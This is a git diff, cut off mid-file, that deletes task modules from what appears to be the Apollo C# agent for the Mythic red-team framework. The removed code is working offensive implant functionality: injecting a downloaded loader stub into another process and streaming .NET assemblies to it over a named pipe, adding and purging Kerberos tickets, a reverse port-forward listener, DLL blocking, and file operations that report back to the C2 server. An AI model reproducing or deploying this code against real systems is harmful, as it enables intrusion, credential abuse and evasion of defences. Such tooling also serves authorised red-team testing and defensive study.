KerberosTicketInfoDTO.CreateFromKerberosTicket(tickets[i]); - currentTicket.CurrentLuid = currentLuid; - ticketList.Add(currentTicket); - } - if(ticketList.Count == 0) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse($"{currentLuid}\n", true)); - } else - { - resp = CreateTaskResponse(_jsonSerializer.Serialize(ticketList), true); - } - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to enumerate tickets: {e.Message}",true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_purge.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_purge.cs deleted file mode 100644 index eee0e8c6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_purge.cs +++ /dev/null @@ -1,66 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_CACHE_PURGE -#endif - -#if TICKET_CACHE_PURGE - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks; - -public class ticket_cache_purge : Tasking -{ - - [DataContract] - internal struct ticket_cache_purgeParameters - { - [DataMember(Name = "luid")] - internal string? luid; - [DataMember(Name = "serviceName")] - internal string? serviceName; - [DataMember(Name = "all")] - internal bool all; - } - - public ticket_cache_purge(IAgent agent, MythicTask data) : base(agent, data) - { } - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - try - { - ticket_cache_purgeParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string luid = parameters.luid ?? ""; - string? serviceFullName = parameters.serviceName ?? ""; - string serviceName = String.IsNullOrWhiteSpace(serviceFullName) ? "" : serviceFullName.Split('@').First(); - string domainName = String.IsNullOrWhiteSpace(serviceFullName) ? "" : serviceFullName.Split('@').Last(); - bool all = parameters.all; - bool ticketRemoved = false; - string error = ""; - (ticketRemoved, error) = _agent.GetTicketManager().UnloadTicketFromCache(serviceName,domainName, luid, all); - //if true return without error if false return with error - resp = ticketRemoved ? CreateTaskResponse($"Purged Ticket from Cache", true) - : CreateTaskResponse($"Failed to remove ticket from Cache\n{error}", true, "error"); - - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to remove ticket from session: {e.Message}", true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_add.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_add.cs deleted file mode 100644 index 48b5e175..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_add.cs +++ /dev/null @@ -1,84 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_STORE_ADD -#endif - -#if TICKET_STORE_ADD - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks; - -public class ticket_store_add : Tasking -{ - - [DataContract] - internal struct TicketStoreAddParameters - { - [DataMember(Name = "base64ticket")] - internal string base64Ticket; - [DataMember(Name = "ClientName")] - public string ClientName; - [DataMember(Name = "ClientRealm")] - public string ClientRealm; - [DataMember(Name = "ServerName")] - public string ServerName; - [DataMember(Name = "ServerRealm")] - public string ServerRealm; - [DataMember(Name = "StartTime")] - public int StartTime; - [DataMember(Name = "EndTime")] - public int EndTime; - [DataMember(Name = "RenewTime")] - public int RenewTime; - [DataMember(Name = "EncryptionType")] - public int EncryptionType; - [DataMember(Name = "TicketFlags")] - public int TicketFlags; - } - - public ticket_store_add(IAgent agent, MythicTask data) : base(agent, data) - { } - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - try - { - TicketStoreAddParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string base64Ticket = parameters.base64Ticket; - byte[] ticketBytes = Convert.FromBase64String(base64Ticket); - KerberosTicket ticket = new KerberosTicket(); - ticket.ClientRealm = parameters.ClientRealm; - ticket.ClientName = parameters.ClientName; - ticket.ServerName = parameters.ServerName; - ticket.ServerRealm = parameters.ServerRealm; - ticket.StartTime = new DateTime(1970,1,1,0,0,0).AddSeconds(parameters.StartTime); - ticket.EndTime = new DateTime(1970,1,1,0,0,0).AddSeconds(parameters.EndTime); - ticket.RenewTime = new DateTime(1970,1,1,0,0,0).AddSeconds(parameters.RenewTime); - ticket.TicketFlags = (KerbTicketFlags)parameters.TicketFlags; - ticket.EncryptionType = (KerbEncType)parameters.EncryptionType; - ticket.Kirbi = ticketBytes; - _agent.GetTicketManager().AddTicketToTicketStore(new KerberosTicketStoreDTO(ticket)); - resp = CreateTaskResponse($"Added Ticket to Ticket Store", true); - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to add ticket into store: {e.Message}", true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_list.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_list.cs deleted file mode 100644 index b6f898d1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_list.cs +++ /dev/null @@ -1,46 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_STORE_LIST -#endif - -#if TICKET_STORE_LIST - -using System; -using System.Collections.Generic; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - -namespace Tasks; - -public class ticket_store_list : Tasking -{ - - public ticket_store_list(IAgent agent, MythicTask data) : base(agent, data) - { } - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - try - { - var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore(); - resp = CreateTaskResponse(_jsonSerializer.Serialize(storedTickets), true); - - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Error in {this.GetType().Name} - {ex.Message}", true, "error"); - - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_purge.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_purge.cs deleted file mode 100644 index 0dfbd068..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_purge.cs +++ /dev/null @@ -1,58 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_STORE_PURGE -#endif - -#if TICKET_STORE_PURGE - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks; - -public class ticket_store_purge : Tasking -{ - - [DataContract] - internal struct ticket_store_purgeParameters - { - [DataMember(Name = "serviceName")] - internal string? serviceName; - [DataMember(Name = "all")] - internal bool all; - } - - public ticket_store_purge(IAgent agent, MythicTask data) : base(agent, data) - { } - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - try - { - ticket_store_purgeParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string? serviceFullName = parameters.serviceName ?? ""; - bool all = parameters.all; - bool ticketRemoved = _agent.GetTicketManager().RemoveTicketFromTicketStore(serviceFullName, all); - //if true return without error if false return with error - resp = ticketRemoved ? CreateTaskResponse($"Purged Ticket from Store", true) - : CreateTaskResponse($"Failed to purge ticket from Store", true, "error"); - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to inject ticket into session: {e.Message}", true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xml deleted file mode 100644 index 4c5b0d10..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xml +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Properties/AssemblyInfo.cs deleted file mode 100644 index a0e8c734..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("Tasks")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Tasks")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("b9bda393-c258-44d3-8266-d62265008bd4")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Rpfwd.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Rpfwd.cs deleted file mode 100644 index 6d85802c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Rpfwd.cs +++ /dev/null @@ -1,102 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define RPFWD -#endif - -#if RPFWD - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Net.Sockets; -using System.Net; -using System.Runtime.Serialization; -using System; -using ApolloInterop.Utils; -using System.Threading; - -namespace Tasks -{ - public class rpfwd : Tasking - { - public rpfwd(IAgent agent, MythicTask data) : base(agent, data) - { - } - [DataContract] - internal struct RpfwdParameters - { - [DataMember(Name = "port")] public int Port; - [DataMember(Name = "action")] public string Action; - [DataMember(Name = "debugLevel")] public int DebugLevel; - } - private int _port; - private TcpListener _server; - private int _debugLevel; - - private Random _random = new Random((int) DateTime.UtcNow.Ticks); - private void OnClientConnected(IAsyncResult result) - { - // complete connection - try - { - TcpListener server = (TcpListener)result.AsyncState; - TcpClient client = server.EndAcceptTcpClient(result); - int newClientID = _random.Next(int.MaxValue); - DebugHelp.DebugWriteLine($"Got a new connection: {newClientID}"); - // Add to connection list at a higher level that can be routed to - if (_agent.GetRpfwdManager().AddConnection(client, newClientID, _port, _debugLevel, this)) - { - DebugHelp.DebugWriteLine("accepting more connections"); - // need to explicitly accept more connection after handling the first one - _server.BeginAcceptTcpClient(OnClientConnected, _server); - } - else - { - client.Close(); - } - } - catch (Exception ex) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("Failed to accept connection: " + ex.Message, false, "") - ); - return; - } - - } - - public override void Start() - { - MythicTaskResponse resp; - var parameters = _jsonSerializer.Deserialize(_data.Parameters); - _port = parameters.Port; - _server = new TcpListener(IPAddress.Any, _port); - _debugLevel = parameters.DebugLevel; - try - { - _server.Start(); - _server.BeginAcceptTcpClient(OnClientConnected, _server); - } - catch (Exception ex) - { - resp = CreateTaskResponse("Failed to start listening on port: " + ex.Message, true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - - resp = CreateTaskResponse("Started listening on port: " + parameters.Port + "\n", false, "listening for connections..."); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - WaitHandle[] waiters = new WaitHandle[] - { - _cancellationToken.Token.WaitHandle - }; - WaitHandle.WaitAny(waiters); - _server.Stop(); - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("Stopped Listening on port " + _port, true, "success") - ); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Tasks.csproj b/Payload_Type/apollo/apollo/agent_code/Tasks/Tasks.csproj deleted file mode 100644 index 58be97d5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Tasks.csproj +++ /dev/null @@ -1,30 +0,0 @@ - - - net451 - Library - 12 - enable - false - true - true - AnyCPU;x64;x86 - - - - ..\packages\System.Management.Automation6.1.7\System.Management.Automation.dll - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/assembly_inject.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/assembly_inject.cs deleted file mode 100644 index 8493e696..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/assembly_inject.cs +++ /dev/null @@ -1,254 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define ASSEMBLY_INJECT -#endif - -#if ASSEMBLY_INJECT -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.Collections.Concurrent; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Collections; - -namespace Tasks -{ - public class assembly_inject : Tasking - { - [DataContract] - internal struct AssemblyInjectParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "assembly_name")] - public string AssemblyName; - [DataMember(Name = "assembly_id")] - public string AssemblyId; - [DataMember(Name = "assembly_arguments")] - public string AssemblyArguments; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - [DataMember(Name = "pid")] - public int PID; - } - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - - private Action _flushMessages; - private ThreadSafeList _assemblyOutput = new ThreadSafeList(); - private bool _completed = false; - public assembly_inject(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - } - _complete.Set(); - }; - - _flushMessages = (object p) => - { - string output = ""; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }, 1000); - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - }; - } - - - public override void Start() - { - MythicTaskResponse resp; - try - { - AssemblyInjectParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.AssemblyName) || - string.IsNullOrEmpty(parameters.PipeName)) - { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); - } - else - { - bool pidRunning = false; - try - { - System.Diagnostics.Process.GetProcessById(parameters.PID); - pidRunning = true; - } - catch - { - pidRunning = false; - } - - if (pidRunning) - { - byte[] assemblyBytes; - if(!_agent.GetFileManager().GetFileFromStore(parameters.AssemblyName, out assemblyBytes)) - { - if(!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.AssemblyId, out assemblyBytes)) - { - resp = CreateTaskResponse($"Failed to fetch {parameters.AssemblyName} from Mythic", true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } else - { - _agent.GetFileManager().AddFileToStore(parameters.AssemblyName, assemblyBytes); - } - } - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, - out byte[] exeAsmPic)) - { - var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); - if (injector.Inject()) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessInject(parameters.PID, - _agent.GetInjectionManager().GetCurrentTechnique().Name) - })); - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = assemblyBytes, - StringData = string.IsNullOrEmpty(parameters.AssemblyArguments) - ? "" - : parameters.AssemblyArguments, - }; - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnect; - if (client.Connect(10000)) - { - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - _complete.WaitOne(); - _completed = true; - resp = CreateTaskResponse("", true, "completed"); - } - else - { - resp = CreateTaskResponse($"Failed to connect to named pipe.", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to inject into PID {parameters.PID}", true, "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Process with ID {parameters.PID} is not running.", - true, - "error"); - } - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - e.Pipe.Close(); - _cancellationToken.Cancel(); - _complete.Set(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - } - - private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) - { - IPCData d = e.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - _assemblyOutput.Add(msg); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/blockdlls.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/blockdlls.cs deleted file mode 100644 index 58480827..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/blockdlls.cs +++ /dev/null @@ -1,36 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define BLOCKDLLS -#endif - -#if BLOCKDLLS -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class blockdlls : Tasking - { - [DataContract] - internal struct BlockDllsParameters - { - [DataMember(Name = "block")] - public bool Value; - } - public blockdlls(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Start() - { - BlockDllsParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - _agent.GetProcessManager().BlockDLLs(parameters.Value); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/cat.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/cat.cs deleted file mode 100644 index dcf6d0d1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/cat.cs +++ /dev/null @@ -1,155 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define CAT -#endif - -#if CAT -using System; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.Threading; -using ApolloInterop.Classes.Collections; -using System.IO; -using TT = System.Threading.Tasks; -namespace Tasks -{ - public class cat : Tasking - { - [DataContract] - internal struct CatParameters - { - [DataMember(Name = "path")] - public string Path; - } - - private AutoResetEvent _complete = new AutoResetEvent(false); - private AutoResetEvent _fileRead = new AutoResetEvent(false); - private bool _completed = false; - private ThreadSafeList _contents = new ThreadSafeList(); - private Action _flushContents; - private WaitHandle[] _timers; - private static int _chunkSize = 256000; - private byte[] _buffer = new byte[_chunkSize]; - private long _bytesRemaining = 0; - - public cat(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _timers = new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }; - _flushContents = new Action(() => - { - string output = ""; - while(!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(_timers, 1000); - - output = string.Join("", _contents.Flush()); - SendMessageToMythic(output); - } - output = string.Join("", _contents.Flush()); - SendMessageToMythic(output); - }); - } - - private void SendMessageToMythic(string msg) - { - if (!string.IsNullOrEmpty(msg)) - { - MythicTaskResponse resp = CreateTaskResponse( - msg, - false, - ""); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } - - private void FileReadCallback(IAsyncResult result) - { - FileStream fs = (FileStream)result.AsyncState; - fs.EndRead(result); - try - { - _contents.Add(System.Text.Encoding.UTF8.GetString(_buffer)); - _bytesRemaining = fs.Length - fs.Position; - if (_bytesRemaining > 0 && !_cancellationToken.IsCancellationRequested) - { - _buffer = _bytesRemaining > _chunkSize ? new byte[_chunkSize] : new byte[_bytesRemaining]; - fs.BeginRead(_buffer, 0, _buffer.Length, FileReadCallback, fs); - } else - { - _fileRead.Set(); - } - } catch (Exception ex) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Exception hit while reading file: {ex.Message}", true, "error")); - _fileRead.Set(); - } - } - - - public override void Start() - { - MythicTaskResponse resp; - CatParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (!File.Exists(parameters.Path)) - { - resp = CreateTaskResponse($"File {parameters.Path} does not exist.", true, "error"); - } - else - { - - TT.Task.Factory.StartNew(_flushContents, _cancellationToken.Token); - FileStream fs = null; - FileInfo finfo = new FileInfo(parameters.Path); - IMythicMessage[] artifacts = new IMythicMessage[] - { - Artifact.FileOpen(finfo.FullName) - }; - try - { - fs = File.OpenRead(parameters.Path); - _bytesRemaining = fs.Length; - if (_bytesRemaining < _buffer.Length) - { - _buffer = new byte[_bytesRemaining]; - } - - fs.BeginRead(_buffer, 0, _buffer.Length, FileReadCallback, fs); - try - { - WaitHandle.WaitAny(new WaitHandle[] - { - _fileRead, - _cancellationToken.Token.WaitHandle - }); - } - catch (OperationCanceledException) - { - } - - _completed = true; - _complete.Set(); - resp = CreateTaskResponse("", true, "completed", artifacts); - } - catch (UnauthorizedAccessException ex) - { - resp = CreateTaskResponse("Access denied.", true, "error", artifacts); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unable to read {parameters.Path}: {ex.Message}", true, "error", artifacts); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/cd.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/cd.cs deleted file mode 100644 index 53e8d8ca..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/cd.cs +++ /dev/null @@ -1,55 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define CD -#endif - -#if CD - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.IO; - -namespace Tasks -{ - public class cd : Tasking - { - [DataContract] - public struct CdParameters - { - [DataMember(Name = "path")] public string Path; - } - public cd(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Start() - { - CdParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (!Directory.Exists(parameters.Path)) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Directory {parameters.Path} does not exist", - true, - "error")); - } - else - { - Directory.SetCurrentDirectory(parameters.Path); - var currentPath = Directory.GetCurrentDirectory(); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Working directory set to {Directory.GetCurrentDirectory()}", - true, "", - new IMythicMessage[] - { - new CallbackUpdate{ Cwd =currentPath } - } - )); - } - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/cp.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/cp.cs deleted file mode 100644 index e0c375f9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/cp.cs +++ /dev/null @@ -1,75 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define CP -#endif - -#if CP - -using System; -using System.Collections.Generic; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.IO; - -namespace Tasks -{ - public class cp : Tasking - { - [DataContract] - internal struct CpParameters - { - [DataMember(Name = "source")] - public string SourceFile; - [DataMember(Name = "destination")] - public string DestinationFile; - } - public cp(IAgent agent, MythicTask mythicTask) : 